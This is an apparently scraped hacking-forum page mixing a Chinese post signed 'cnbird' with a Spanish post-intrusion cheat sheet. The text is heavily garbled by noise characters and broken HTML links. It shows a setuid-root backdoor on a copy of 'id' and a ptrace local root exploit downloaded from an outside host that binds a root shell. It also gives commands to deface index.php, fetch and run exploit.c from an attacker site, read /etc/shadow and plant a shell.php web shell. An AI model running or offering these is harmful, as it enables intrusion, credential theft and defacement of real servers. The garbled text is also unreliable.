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< ><FONT color=#ff0000>by:cnbird</FONT></P>' [8 ?- m: E, ?, o' M. A2 _
< >1.</P>
' A! y* A( B- C0 v0 `< >[cnbird@localhost tmp]#id</P># R, X) G) f F0 b
< >uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
- f0 o: _, K& M< >[cnbird@localhost tmp]#cp `which id ` .</P>7 [4 F8 W: y1 ]3 v: x3 N$ p6 q
< >[cnbird@localhost tmp]#chown root ./id</P>/ W4 A8 y; [, e4 Q( K! M
< >[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>* |+ D0 p; c0 f8 y* B* ~8 K& @
< >[cnbird@localhost tmp]#ls -l ./id</P> _; X* j2 C! V* X
< >-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P># N+ M6 [% P+ p( a$ W3 A. r' U
< >[cnbird@localhost tmp]#exit</P>8 c* @* Z0 [! l
< >[cnbird@localhost tmp]$id</P>
+ p6 k; a3 j2 U# H" E4 W& A< >uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>/ E6 w; H9 z. m% }# T6 T
< >[cnbird@localhost tmp]$./id </P>
" O e4 Y- r- Q) @% @< >uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>* X2 ]2 s: I' V5 e$ z2 `. Z
< >2.利用ptrace成为root的方法</P>9 g7 j5 |8 U' `. S, x& B1 Y- G3 z& ~
< >[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace2 L+ K" y: {: @2 e/ M
-> Parent's PID is 2313. Child's PID is 2314.
/ N* f% I4 O+ S* Y-> Attaching to 2315...
- N/ _. ^! T/ o! |6 K3 R-> Got the thread!!
* M; G1 X- U1 C0 F-> Waiting for the next signal...# D0 n$ H& F. }3 J
-> Injecting shellcode at 0x4000e85d8 V9 t- [7 @6 b! }; \1 V, C! C' O j
-> Bind root shell on port 24876... =p/ @) p) h. t" B$ S% D
-> Detached from modprobe thread./ c; q2 K! n, c2 d: z4 N
-> Committing suicide.....</P>
1 M* e1 k# G, p% M+ B< >[bash]# id
6 Y) k' x& x8 ~4 k) a' s5 duid=0(root) gid=0(root) groups=0(root)</P>7 l5 v6 |6 a5 ]/ e3 k5 c
< > ara ver los dominios que hay en el server:
+ _' Z3 \! R% J, }( A---------------------------------------------------------
5 {' @7 u+ q1 o7 [* u" g: T/ j0 ?, Wcat /etc/httpd/conf/httpd.conf|grep ServerName << Solo salen los dominios. z: o) w4 o" ?" U
cat /etc/httpd/conf/httpd.conf << Unicamente los puros dominios' f2 M- T9 Z+ B" x% X+ p: ^+ \
cat /etc/localdomains << Unicamente los dominios locales
9 \ |. E% u+ y! U7 F9 wcat /etc/trueuserdomains << Revela los verdades propietarios de cada dominio 1 I2 b& O" q9 r& e( a1 V0 J9 x4 S
cat /etc/userdomains << Este es el mas comun
! {: ~ p0 i3 a& n; t T---------------------------------------------------------</P>: ^9 C& a6 j' a. I: K5 e& Z, u$ M
< > ara ver la version de kernel:8 n4 J+ _$ @/ e0 p3 ~% h
---------------------------------------------------------! R. E$ |: V( s, I
uname -a <<Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.( B1 d- s! }( `) `; |: H1 X
---------------------------------------------------------</P>
( I' C8 D0 g( L, e< > ara modificar un index ya existente:
3 `- E( Z5 q& X: G---------------------------------------------------------
! u7 L' k9 O# f# _) D! y6 i; iecho "RootBox was OwNz You">index.php <<sobreescribe el archivo index.php con nuevo contenido. K" e" M: x/ @/ {4 |
---------------------------------------------------------</P>; G' i" C' |! O% q) I. `
< > ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
% }% C2 O" f( b---------------------------------------------------------( {5 P5 v7 v f& r
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> <<aqui subimos el exploit \4 g* @$ S( P/ k% o) Y' a
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
$ t/ r. r' X& @' \$ M/ Vcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
( M6 |( G/ Q$ O2 x3 {cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". : i* P1 B3 z9 ]) Q
Hasta aqui termina el proceso para un exploit.! H" D# \4 R' P
---------------------------------------------------------</P>
7 f# ^( H1 s. \< >Ver las contraseñas encriptadas de todos los usuarios:+ B( y+ q% X9 U% f% R+ W) Z9 O' V% B+ T
---------------------------------------------------------
. f! D5 s! y8 j6 f( z# scat /etc/shadow <<Solo funciona si tienes permisos como root.5 s9 s1 {% j8 q" }6 V9 ~2 ^
---------------------------------------------------------</P>' G& S9 l. p$ F) e; |7 L
< >Borrar un Ficher! @# E& e q1 a1 @
---------------------------------------------------------- V0 b8 p q R4 G9 L) o
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm<<aqui estan borrando con el comando rm, el fichero import.htm
f7 m N" H d X& H---------------------------------------------------------</P>
% d' t( U4 ]6 |/ t< >Subir un ficher
7 A* m3 C6 E Y, Q) [. Y+ j" o---------------------------------------------------------
: `% k& `; I. w2 q. d$ r) t9 Ecd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php<<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php<<Estamos</FONT></A> subiendo el fichero shell.php</P>
+ e$ \! s3 ~( e. y3 C. o< >8 }5 _: _3 M( V$ }% w3 W" ^* D Q
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zan
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